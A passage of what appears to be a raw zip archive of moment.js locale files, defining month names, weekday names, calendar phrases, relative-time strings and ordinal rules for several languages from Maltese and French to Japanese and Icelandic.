    weekdays : 'Il-Ħadd_It-Tnejn_It-Tlieta_L-Erbgħa_Il-Ħamis_Il-Ġimgħa_Is-Sibt'.split('_'),
    weekdaysShort : 'Ħad_Tne_Tli_Erb_Ħam_Ġim_Sib'.split('_'),
    weekdaysMin : 'Ħa_Tn_Tl_Er_Ħa_Ġi_Si'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd, D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay : '[Illum fil-]LT',
        nextDay : '[Għada fil-]LT',
        nextWeek : 'dddd [fil-]LT',
        lastDay : '[Il-bieraħ fil-]LT',
        lastWeek : 'dddd [li għadda] [fil-]LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'f’ %s',
        past : '%s ilu',
        s : 'ftit sekondi',
        ss : '%d sekondi',
        m : 'minuta',
        mm : '%d minuti',
        h : 'siegħa',
        hh : '%d siegħat',
        d : 'ġurnata',
        dd : '%d ġranet',
        M : 'xahar',
        MM : '%d xhur',
        y : 'sena',
        yy : '%d sni'
    },
    dayOfMonthOrdinalParse : /\d{1,2}º/,
    ordinal: '%dº',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});
PK.��\�K�		locale/fr-ch.jsnu�[���//! moment.js locale configuration
//! locale : French (Switzerland) [fr-ch]
//! author : Gaspard Bucher : https://github.com/gaspard

import moment from '../moment';

export default moment.defineLocale('fr-ch', {
    months : 'janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre'.split('_'),
    monthsShort : 'janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.'.split('_'),
    monthsParseExact : true,
    weekdays : 'dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi'.split('_'),
    weekdaysShort : 'dim._lun._mar._mer._jeu._ven._sam.'.split('_'),
    weekdaysMin : 'di_lu_ma_me_je_ve_sa'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay : '[Aujourd’hui à] LT',
        nextDay : '[Demain à] LT',
        nextWeek : 'dddd [à] LT',
        lastDay : '[Hier à] LT',
        lastWeek : 'dddd [dernier à] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'dans %s',
        past : 'il y a %s',
        s : 'quelques secondes',
        ss : '%d secondes',
        m : 'une minute',
        mm : '%d minutes',
        h : 'une heure',
        hh : '%d heures',
        d : 'un jour',
        dd : '%d jours',
        M : 'un mois',
        MM : '%d mois',
        y : 'un an',
        yy : '%d ans'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(er|e)/,
    ordinal : function (number, period) {
        switch (period) {
            // Words with masculine grammatical gender: mois, trimestre, jour
            default:
            case 'M':
            case 'Q':
            case 'D':
            case 'DDD':
            case 'd':
                return number + (number === 1 ? 'er' : 'e');

            // Words with feminine grammatical gender: semaine
            case 'w':
            case 'W':
                return number + (number === 1 ? 're' : 'e');
        }
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\��44locale/zh-tw.jsnu�[���//! moment.js locale configuration
//! locale : Chinese (Taiwan) [zh-tw]
//! author : Ben : https://github.com/ben-lin
//! author : Chris Lam : https://github.com/hehachris

import moment from '../moment';

export default moment.defineLocale('zh-tw', {
    months : '一月_二月_三月_四月_五月_六月_七月_八月_九月_十月_十一月_十二月'.split('_'),
    monthsShort : '1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月'.split('_'),
    weekdays : '星期日_星期一_星期二_星期三_星期四_星期五_星期六'.split('_'),
    weekdaysShort : '週日_週一_週二_週三_週四_週五_週六'.split('_'),
    weekdaysMin : '日_一_二_三_四_五_六'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'YYYY/MM/DD',
        LL : 'YYYY年M月D日',
        LLL : 'YYYY年M月D日 HH:mm',
        LLLL : 'YYYY年M月D日dddd HH:mm',
        l : 'YYYY/M/D',
        ll : 'YYYY年M月D日',
        lll : 'YYYY年M月D日 HH:mm',
        llll : 'YYYY年M月D日dddd HH:mm'
    },
    meridiemParse: /凌晨|早上|上午|中午|下午|晚上/,
    meridiemHour : function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if (meridiem === '凌晨' || meridiem === '早上' || meridiem === '上午') {
            return hour;
        } else if (meridiem === '中午') {
            return hour >= 11 ? hour : hour + 12;
        } else if (meridiem === '下午' || meridiem === '晚上') {
            return hour + 12;
        }
    },
    meridiem : function (hour, minute, isLower) {
        var hm = hour * 100 + minute;
        if (hm < 600) {
            return '凌晨';
        } else if (hm < 900) {
            return '早上';
        } else if (hm < 1130) {
            return '上午';
        } else if (hm < 1230) {
            return '中午';
        } else if (hm < 1800) {
            return '下午';
        } else {
            return '晚上';
        }
    },
    calendar : {
        sameDay : '[今天] LT',
        nextDay : '[明天] LT',
        nextWeek : '[下]dddd LT',
        lastDay : '[昨天] LT',
        lastWeek : '[上]dddd LT',
        sameElse : 'L'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(日|月|週)/,
    ordinal : function (number, period) {
        switch (period) {
            case 'd' :
            case 'D' :
            case 'DDD' :
                return number + '日';
            case 'M' :
                return number + '月';
            case 'w' :
            case 'W' :
                return number + '週';
            default :
                return number;
        }
    },
    relativeTime : {
        future : '%s內',
        past : '%s前',
        s : '幾秒',
        ss : '%d 秒',
        m : '1 分鐘',
        mm : '%d 分鐘',
        h : '1 小時',
        hh : '%d 小時',
        d : '1 天',
        dd : '%d 天',
        M : '1 個月',
        MM : '%d 個月',
        y : '1 年',
        yy : '%d 年'
    }
});
PK.��\'G��

locale/kk.jsnu�[���//! moment.js locale configuration
//! locale : Kazakh [kk]
//! authors : Nurlan Rakhimzhanov : https://github.com/nurlan

import moment from '../moment';

var suffixes = {
    0: '-ші',
    1: '-ші',
    2: '-ші',
    3: '-ші',
    4: '-ші',
    5: '-ші',
    6: '-шы',
    7: '-ші',
    8: '-ші',
    9: '-шы',
    10: '-шы',
    20: '-шы',
    30: '-шы',
    40: '-шы',
    50: '-ші',
    60: '-шы',
    70: '-ші',
    80: '-ші',
    90: '-шы',
    100: '-ші'
};

export default moment.defineLocale('kk', {
    months : 'қаңтар_ақпан_наурыз_сәуір_мамыр_маусым_шілде_тамыз_қыркүйек_қазан_қараша_желтоқсан'.split('_'),
    monthsShort : 'қаң_ақп_нау_сәу_мам_мау_шіл_там_қыр_қаз_қар_жел'.split('_'),
    weekdays : 'жексенбі_дүйсенбі_сейсенбі_сәрсенбі_бейсенбі_жұма_сенбі'.split('_'),
    weekdaysShort : 'жек_дүй_сей_сәр_бей_жұм_сен'.split('_'),
    weekdaysMin : 'жк_дй_сй_ср_бй_жм_сн'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd, D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay : '[Бүгін сағат] LT',
        nextDay : '[Ертең сағат] LT',
        nextWeek : 'dddd [сағат] LT',
        lastDay : '[Кеше сағат] LT',
        lastWeek : '[Өткен аптаның] dddd [сағат] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s ішінде',
        past : '%s бұрын',
        s : 'бірнеше секунд',
        ss : '%d секунд',
        m : 'бір минут',
        mm : '%d минут',
        h : 'бір сағат',
        hh : '%d сағат',
        d : 'бір күн',
        dd : '%d күн',
        M : 'бір ай',
        MM : '%d ай',
        y : 'бір жыл',
        yy : '%d жыл'
    },
    dayOfMonthOrdinalParse: /\d{1,2}-(ші|шы)/,
    ordinal : function (number) {
        var a = number % 10,
            b = number >= 100 ? 100 : null;
        return number + (suffixes[number] || suffixes[a] || suffixes[b]);
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\V���locale/nl.jsnu�[���//! moment.js locale configuration
//! locale : Dutch [nl]
//! author : Joris Röling : https://github.com/jorisroling
//! author : Jacob Middag : https://github.com/middagj

import moment from '../moment';

var monthsShortWithDots = 'jan._feb._mrt._apr._mei_jun._jul._aug._sep._okt._nov._dec.'.split('_'),
    monthsShortWithoutDots = 'jan_feb_mrt_apr_mei_jun_jul_aug_sep_okt_nov_dec'.split('_');

var monthsParse = [/^jan/i, /^feb/i, /^maart|mrt.?$/i, /^apr/i, /^mei$/i, /^jun[i.]?$/i, /^jul[i.]?$/i, /^aug/i, /^sep/i, /^okt/i, /^nov/i, /^dec/i];
var monthsRegex = /^(januari|februari|maart|april|mei|april|ju[nl]i|augustus|september|oktober|november|december|jan\.?|feb\.?|mrt\.?|apr\.?|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i;

export default moment.defineLocale('nl', {
    months : 'januari_februari_maart_april_mei_juni_juli_augustus_september_oktober_november_december'.split('_'),
    monthsShort : function (m, format) {
        if (!m) {
            return monthsShortWithDots;
        } else if (/-MMM-/.test(format)) {
            return monthsShortWithoutDots[m.month()];
        } else {
            return monthsShortWithDots[m.month()];
        }
    },

    monthsRegex: monthsRegex,
    monthsShortRegex: monthsRegex,
    monthsStrictRegex: /^(januari|februari|maart|mei|ju[nl]i|april|augustus|september|oktober|november|december)/i,
    monthsShortStrictRegex: /^(jan\.?|feb\.?|mrt\.?|apr\.?|mei|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i,

    monthsParse : monthsParse,
    longMonthsParse : monthsParse,
    shortMonthsParse : monthsParse,

    weekdays : 'zondag_maandag_dinsdag_woensdag_donderdag_vrijdag_zaterdag'.split('_'),
    weekdaysShort : 'zo._ma._di._wo._do._vr._za.'.split('_'),
    weekdaysMin : 'zo_ma_di_wo_do_vr_za'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD-MM-YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay: '[vandaag om] LT',
        nextDay: '[morgen om] LT',
        nextWeek: 'dddd [om] LT',
        lastDay: '[gisteren om] LT',
        lastWeek: '[afgelopen] dddd [om] LT',
        sameElse: 'L'
    },
    relativeTime : {
        future : 'over %s',
        past : '%s geleden',
        s : 'een paar seconden',
        ss : '%d seconden',
        m : 'één minuut',
        mm : '%d minuten',
        h : 'één uur',
        hh : '%d uur',
        d : 'één dag',
        dd : '%d dagen',
        M : 'één maand',
        MM : '%d maanden',
        y : 'één jaar',
        yy : '%d jaar'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(ste|de)/,
    ordinal : function (number) {
        return number + ((number === 1 || number === 8 || number >= 20) ? 'ste' : 'de');
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\��c���locale/eu.jsnu�[���//! moment.js locale configuration
//! locale : Basque [eu]
//! author : Eneko Illarramendi : https://github.com/eillarra

import moment from '../moment';

export default moment.defineLocale('eu', {
    months : 'urtarrila_otsaila_martxoa_apirila_maiatza_ekaina_uztaila_abuztua_iraila_urria_azaroa_abendua'.split('_'),
    monthsShort : 'urt._ots._mar._api._mai._eka._uzt._abu._ira._urr._aza._abe.'.split('_'),
    monthsParseExact : true,
    weekdays : 'igandea_astelehena_asteartea_asteazkena_osteguna_ostirala_larunbata'.split('_'),
    weekdaysShort : 'ig._al._ar._az._og._ol._lr.'.split('_'),
    weekdaysMin : 'ig_al_ar_az_og_ol_lr'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'YYYY-MM-DD',
        LL : 'YYYY[ko] MMMM[ren] D[a]',
        LLL : 'YYYY[ko] MMMM[ren] D[a] HH:mm',
        LLLL : 'dddd, YYYY[ko] MMMM[ren] D[a] HH:mm',
        l : 'YYYY-M-D',
        ll : 'YYYY[ko] MMM D[a]',
        lll : 'YYYY[ko] MMM D[a] HH:mm',
        llll : 'ddd, YYYY[ko] MMM D[a] HH:mm'
    },
    calendar : {
        sameDay : '[gaur] LT[etan]',
        nextDay : '[bihar] LT[etan]',
        nextWeek : 'dddd LT[etan]',
        lastDay : '[atzo] LT[etan]',
        lastWeek : '[aurreko] dddd LT[etan]',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s barru',
        past : 'duela %s',
        s : 'segundo batzuk',
        ss : '%d segundo',
        m : 'minutu bat',
        mm : '%d minutu',
        h : 'ordu bat',
        hh : '%d ordu',
        d : 'egun bat',
        dd : '%d egun',
        M : 'hilabete bat',
        MM : '%d hilabete',
        y : 'urte bat',
        yy : '%d urte'
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\����	�	locale/cy.jsnu�[���//! moment.js locale configuration
//! locale : Welsh [cy]
//! author : Robert Allen : https://github.com/robgallen
//! author : https://github.com/ryangreaves

import moment from '../moment';

export default moment.defineLocale('cy', {
    months: 'Ionawr_Chwefror_Mawrth_Ebrill_Mai_Mehefin_Gorffennaf_Awst_Medi_Hydref_Tachwedd_Rhagfyr'.split('_'),
    monthsShort: 'Ion_Chwe_Maw_Ebr_Mai_Meh_Gor_Aws_Med_Hyd_Tach_Rhag'.split('_'),
    weekdays: 'Dydd Sul_Dydd Llun_Dydd Mawrth_Dydd Mercher_Dydd Iau_Dydd Gwener_Dydd Sadwrn'.split('_'),
    weekdaysShort: 'Sul_Llun_Maw_Mer_Iau_Gwe_Sad'.split('_'),
    weekdaysMin: 'Su_Ll_Ma_Me_Ia_Gw_Sa'.split('_'),
    weekdaysParseExact : true,
    // time formats are the same as en-gb
    longDateFormat: {
        LT: 'HH:mm',
        LTS : 'HH:mm:ss',
        L: 'DD/MM/YYYY',
        LL: 'D MMMM YYYY',
        LLL: 'D MMMM YYYY HH:mm',
        LLLL: 'dddd, D MMMM YYYY HH:mm'
    },
    calendar: {
        sameDay: '[Heddiw am] LT',
        nextDay: '[Yfory am] LT',
        nextWeek: 'dddd [am] LT',
        lastDay: '[Ddoe am] LT',
        lastWeek: 'dddd [diwethaf am] LT',
        sameElse: 'L'
    },
    relativeTime: {
        future: 'mewn %s',
        past: '%s yn ôl',
        s: 'ychydig eiliadau',
        ss: '%d eiliad',
        m: 'munud',
        mm: '%d munud',
        h: 'awr',
        hh: '%d awr',
        d: 'diwrnod',
        dd: '%d diwrnod',
        M: 'mis',
        MM: '%d mis',
        y: 'blwyddyn',
        yy: '%d flynedd'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(fed|ain|af|il|ydd|ed|eg)/,
    // traditional ordinal numbers above 31 are not commonly used in colloquial Welsh
    ordinal: function (number) {
        var b = number,
            output = '',
            lookup = [
                '', 'af', 'il', 'ydd', 'ydd', 'ed', 'ed', 'ed', 'fed', 'fed', 'fed', // 1af to 10fed
                'eg', 'fed', 'eg', 'eg', 'fed', 'eg', 'eg', 'fed', 'eg', 'fed' // 11eg to 20fed
            ];
        if (b > 20) {
            if (b === 40 || b === 50 || b === 60 || b === 80 || b === 100) {
                output = 'fed'; // not 30ain, 70ain or 90ain
            } else {
                output = 'ain';
            }
        } else if (b > 0) {
            output = lookup[b];
        }
        return number + output;
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\?�k���locale/he.jsnu�[���//! moment.js locale configuration
//! locale : Hebrew [he]
//! author : Tomer Cohen : https://github.com/tomer
//! author : Moshe Simantov : https://github.com/DevelopmentIL
//! author : Tal Ater : https://github.com/TalAter

import moment from '../moment';

export default moment.defineLocale('he', {
    months : 'ינואר_פברואר_מרץ_אפריל_מאי_יוני_יולי_אוגוסט_ספטמבר_אוקטובר_נובמבר_דצמבר'.split('_'),
    monthsShort : 'ינו׳_פבר׳_מרץ_אפר׳_מאי_יוני_יולי_אוג׳_ספט׳_אוק׳_נוב׳_דצמ׳'.split('_'),
    weekdays : 'ראשון_שני_שלישי_רביעי_חמישי_שישי_שבת'.split('_'),
    weekdaysShort : 'א׳_ב׳_ג׳_ד׳_ה׳_ו׳_ש׳'.split('_'),
    weekdaysMin : 'א_ב_ג_ד_ה_ו_ש'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D [ב]MMMM YYYY',
        LLL : 'D [ב]MMMM YYYY HH:mm',
        LLLL : 'dddd, D [ב]MMMM YYYY HH:mm',
        l : 'D/M/YYYY',
        ll : 'D MMM YYYY',
        lll : 'D MMM YYYY HH:mm',
        llll : 'ddd, D MMM YYYY HH:mm'
    },
    calendar : {
        sameDay : '[היום ב־]LT',
        nextDay : '[מחר ב־]LT',
        nextWeek : 'dddd [בשעה] LT',
        lastDay : '[אתמול ב־]LT',
        lastWeek : '[ביום] dddd [האחרון בשעה] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'בעוד %s',
        past : 'לפני %s',
        s : 'מספר שניות',
        ss : '%d שניות',
        m : 'דקה',
        mm : '%d דקות',
        h : 'שעה',
        hh : function (number) {
            if (number === 2) {
                return 'שעתיים';
            }
            return number + ' שעות';
        },
        d : 'יום',
        dd : function (number) {
            if (number === 2) {
                return 'יומיים';
            }
            return number + ' ימים';
        },
        M : 'חודש',
        MM : function (number) {
            if (number === 2) {
                return 'חודשיים';
            }
            return number + ' חודשים';
        },
        y : 'שנה',
        yy : function (number) {
            if (number === 2) {
                return 'שנתיים';
            } else if (number % 10 === 0 && number !== 10) {
                return number + ' שנה';
            }
            return number + ' שנים';
        }
    },
    meridiemParse: /אחה"צ|לפנה"צ|אחרי הצהריים|לפני הצהריים|לפנות בוקר|בבוקר|בערב/i,
    isPM : function (input) {
        return /^(אחה"צ|אחרי הצהריים|בערב)$/.test(input);
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 5) {
            return 'לפנות בוקר';
        } else if (hour < 10) {
            return 'בבוקר';
        } else if (hour < 12) {
            return isLower ? 'לפנה"צ' : 'לפני הצהריים';
        } else if (hour < 18) {
            return isLower ? 'אחה"צ' : 'אחרי הצהריים';
        } else {
            return 'בערב';
        }
    }
});

PK.��\��O��locale/x-pseudo.jsnu�[���//! moment.js locale configuration
//! locale : Pseudo [x-pseudo]
//! author : Andrew Hood : https://github.com/andrewhood125

import moment from '../moment';

export default moment.defineLocale('x-pseudo', {
    months : 'J~áñúá~rý_F~ébrú~árý_~Márc~h_Áp~ríl_~Máý_~Júñé~_Júl~ý_Áú~gúst~_Sép~témb~ér_Ó~ctób~ér_Ñ~óvém~bér_~Décé~mbér'.split('_'),
    monthsShort : 'J~áñ_~Féb_~Már_~Ápr_~Máý_~Júñ_~Júl_~Áúg_~Sép_~Óct_~Ñóv_~Déc'.split('_'),
    monthsParseExact : true,
    weekdays : 'S~úñdá~ý_Mó~ñdáý~_Túé~sdáý~_Wéd~ñésd~áý_T~húrs~dáý_~Fríd~áý_S~átúr~dáý'.split('_'),
    weekdaysShort : 'S~úñ_~Móñ_~Túé_~Wéd_~Thú_~Frí_~Sát'.split('_'),
    weekdaysMin : 'S~ú_Mó~_Tú_~Wé_T~h_Fr~_Sá'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd, D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay : '[T~ódá~ý át] LT',
        nextDay : '[T~ómó~rró~w át] LT',
        nextWeek : 'dddd [át] LT',
        lastDay : '[Ý~ést~érdá~ý át] LT',
        lastWeek : '[L~ást] dddd [át] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'í~ñ %s',
        past : '%s á~gó',
        s : 'á ~féw ~sécó~ñds',
        ss : '%d s~écóñ~ds',
        m : 'á ~míñ~úté',
        mm : '%d m~íñú~tés',
        h : 'á~ñ hó~úr',
        hh : '%d h~óúrs',
        d : 'á ~dáý',
        dd : '%d d~áýs',
        M : 'á ~móñ~th',
        MM : '%d m~óñt~hs',
        y : 'á ~ýéár',
        yy : '%d ý~éárs'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(th|st|nd|rd)/,
    ordinal : function (number) {
        var b = number % 10,
            output = (~~(number % 100 / 10) === 1) ? 'th' :
            (b === 1) ? 'st' :
            (b === 2) ? 'nd' :
            (b === 3) ? 'rd' : 'th';
        return number + output;
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});
PK.��\p�6��	�	locale/ja.jsnu�[���//! moment.js locale configuration
//! locale : Japanese [ja]
//! author : LI Long : https://github.com/baryon

import moment from '../moment';

export default moment.defineLocale('ja', {
    months : '1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月'.split('_'),
    monthsShort : '1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月'.split('_'),
    weekdays : '日曜日_月曜日_火曜日_水曜日_木曜日_金曜日_土曜日'.split('_'),
    weekdaysShort : '日_月_火_水_木_金_土'.split('_'),
    weekdaysMin : '日_月_火_水_木_金_土'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'YYYY/MM/DD',
        LL : 'YYYY年M月D日',
        LLL : 'YYYY年M月D日 HH:mm',
        LLLL : 'YYYY年M月D日 dddd HH:mm',
        l : 'YYYY/MM/DD',
        ll : 'YYYY年M月D日',
        lll : 'YYYY年M月D日 HH:mm',
        llll : 'YYYY年M月D日(ddd) HH:mm'
    },
    meridiemParse: /午前|午後/i,
    isPM : function (input) {
        return input === '午後';
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 12) {
            return '午前';
        } else {
            return '午後';
        }
    },
    calendar : {
        sameDay : '[今日] LT',
        nextDay : '[明日] LT',
        nextWeek : function (now) {
            if (now.week() < this.week()) {
                return '[来週]dddd LT';
            } else {
                return 'dddd LT';
            }
        },
        lastDay : '[昨日] LT',
        lastWeek : function (now) {
            if (this.week() < now.week()) {
                return '[先週]dddd LT';
            } else {
                return 'dddd LT';
            }
        },
        sameElse : 'L'
    },
    dayOfMonthOrdinalParse : /\d{1,2}日/,
    ordinal : function (number, period) {
        switch (period) {
            case 'd':
            case 'D':
            case 'DDD':
                return number + '日';
            default:
                return number;
        }
    },
    relativeTime : {
        future : '%s後',
        past : '%s前',
        s : '数秒',
        ss : '%d秒',
        m : '1分',
        mm : '%d分',
        h : '1時間',
        hh : '%d時間',
        d : '1日',
        dd : '%d日',
        M : '1ヶ月',
        MM : '%dヶ月',
        y : '1年',
        yy : '%d年'
    }
});

PK.��\��S�

locale/fr.jsnu�[���//! moment.js locale configuration
//! locale : French [fr]
//! author : John Fischer : https://github.com/jfroffice

import moment from '../moment';

export default moment.defineLocale('fr', {
    months : 'janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre'.split('_'),
    monthsShort : 'janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.'.split('_'),
    monthsParseExact : true,
    weekdays : 'dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi'.split('_'),
    weekdaysShort : 'dim._lun._mar._mer._jeu._ven._sam.'.split('_'),
    weekdaysMin : 'di_lu_ma_me_je_ve_sa'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay : '[Aujourd’hui à] LT',
        nextDay : '[Demain à] LT',
        nextWeek : 'dddd [à] LT',
        lastDay : '[Hier à] LT',
        lastWeek : 'dddd [dernier à] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'dans %s',
        past : 'il y a %s',
        s : 'quelques secondes',
        ss : '%d secondes',
        m : 'une minute',
        mm : '%d minutes',
        h : 'une heure',
        hh : '%d heures',
        d : 'un jour',
        dd : '%d jours',
        M : 'un mois',
        MM : '%d mois',
        y : 'un an',
        yy : '%d ans'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(er|)/,
    ordinal : function (number, period) {
        switch (period) {
            // TODO: Return 'e' when day of month > 1. Move this case inside
            // block for masculine words below.
            // See https://github.com/moment/moment/issues/3375
            case 'D':
                return number + (number === 1 ? 'er' : '');

            // Words with masculine grammatical gender: mois, trimestre, jour
            default:
            case 'M':
            case 'Q':
            case 'DDD':
            case 'd':
                return number + (number === 1 ? 'er' : 'e');

            // Words with feminine grammatical gender: semaine
            case 'w':
            case 'W':
                return number + (number === 1 ? 're' : 'e');
        }
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\�Q����locale/fo.jsnu�[���//! moment.js locale configuration
//! locale : Faroese [fo]
//! author : Ragnar Johannesen : https://github.com/ragnar123

import moment from '../moment';

export default moment.defineLocale('fo', {
    months : 'januar_februar_mars_apríl_mai_juni_juli_august_september_oktober_november_desember'.split('_'),
    monthsShort : 'jan_feb_mar_apr_mai_jun_jul_aug_sep_okt_nov_des'.split('_'),
    weekdays : 'sunnudagur_mánadagur_týsdagur_mikudagur_hósdagur_fríggjadagur_leygardagur'.split('_'),
    weekdaysShort : 'sun_mán_týs_mik_hós_frí_ley'.split('_'),
    weekdaysMin : 'su_má_tý_mi_hó_fr_le'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd D. MMMM, YYYY HH:mm'
    },
    calendar : {
        sameDay : '[Í dag kl.] LT',
        nextDay : '[Í morgin kl.] LT',
        nextWeek : 'dddd [kl.] LT',
        lastDay : '[Í gjár kl.] LT',
        lastWeek : '[síðstu] dddd [kl] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'um %s',
        past : '%s síðani',
        s : 'fá sekund',
        ss : '%d sekundir',
        m : 'ein minutt',
        mm : '%d minuttir',
        h : 'ein tími',
        hh : '%d tímar',
        d : 'ein dagur',
        dd : '%d dagar',
        M : 'ein mánaði',
        MM : '%d mánaðir',
        y : 'eitt ár',
        yy : '%d ár'
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\P�jS��locale/is.jsnu�[���//! moment.js locale configuration
//! locale : Icelandic [is]
//! author : Hinrik Örn Sigurðsson : https://github.com/hinrik

import moment from '../moment';

function plural(n) {
    if (n % 100 === 11) {
        return true;
    } else if (n % 10 === 1) {
        return false;
    }
    return true;
}
function translate(number, withoutSuffix, key, isFuture) {
    var result = number + ' ';
    switch (key) {
        case 's':
            return withoutSuffix || isFuture ? 'nokkrar sekúndur' : 'nokkrum sekúndum';
        case 'ss':
            if (plural(number)) {
                return result + (withoutSuffix || isFuture ? 'sekúndur' : 'sekúndum');
            }
            return result + 'sekúnda';
        case 'm':
            return withoutSuffix ? 'mínúta' : 'mínútu';
        case 'mm':
            if (plural(number)) {
                return result + (withoutSuffix || isFuture ? 'mínútur' : 'mínútum');
            } else if (withoutSuffix) {
                return result + 'mínúta';
            }
            return result + 'mínútu';
        case 'hh':
            if (plural(number)) {
                return result + (withoutSuffix || isFuture ? 'klukkustundir' : 'klukkustundum');
            }
            return result + 'klukkustund';
        case 'd':
            if (withoutSuffix) {
                return 'dagur';
            }
            return isFuture ? 'dag' : 'degi';
        case 'dd':
            if (plural(number)) {
                if (withoutSuffix) {
                    return result + 'dagar';
                }
                return result + (isFuture ? 'daga' : 'dögum');
            } else if (withoutSuffix) {
                return result + 'dagur';
            }
            return result + (isFuture ? 'dag' : 'degi');
        case 'M':
            if (withoutSuffix) {
                return 'mánuður';
            }
            return isFuture ? 'mánuð' : 'mánuði';
        case 'MM':
            if (plural(number)) {
                if (withoutSuffix) {
                    return result + 'mánuðir';
                }
                return result + (isFuture ? 'mánuði' : 'mánuðum');
            } else if (withoutSuffix) {
                return result + 'mánuður';
            }
            return result + (isFuture ? 'mánuð' : 'mánuði');
        case 'y':
            return withoutSuffix || isFuture ? 'ár' : 'ári';
        case 'yy':
            if (plural(number)) {
                return result + (withoutSuffix || isFuture ? 'ár' : 'árum');
            }
            return result + (withoutSuffix || isFuture ? 'ár' : 'ári');
    }
}

export default moment.defineLocale('is', {
    months : 'janúar_febrúar_mars_apríl_maí_júní_júlí_ágúst_september_október_nóvember_desember'.split('_'),
    monthsShort : 'jan_feb_mar_apr_maí_jún_júl_ágú_sep_okt_nóv_des'.split('_'),
    weekdays : 'sunnudagur_mánudagur_þriðjudagur_miðvikudagur_fimmtudagur_föstudagur_laugardagur'.split('_'),
    weekdaysShort : 'sun_mán_þri_mið_fim_fös_lau'.split('_'),
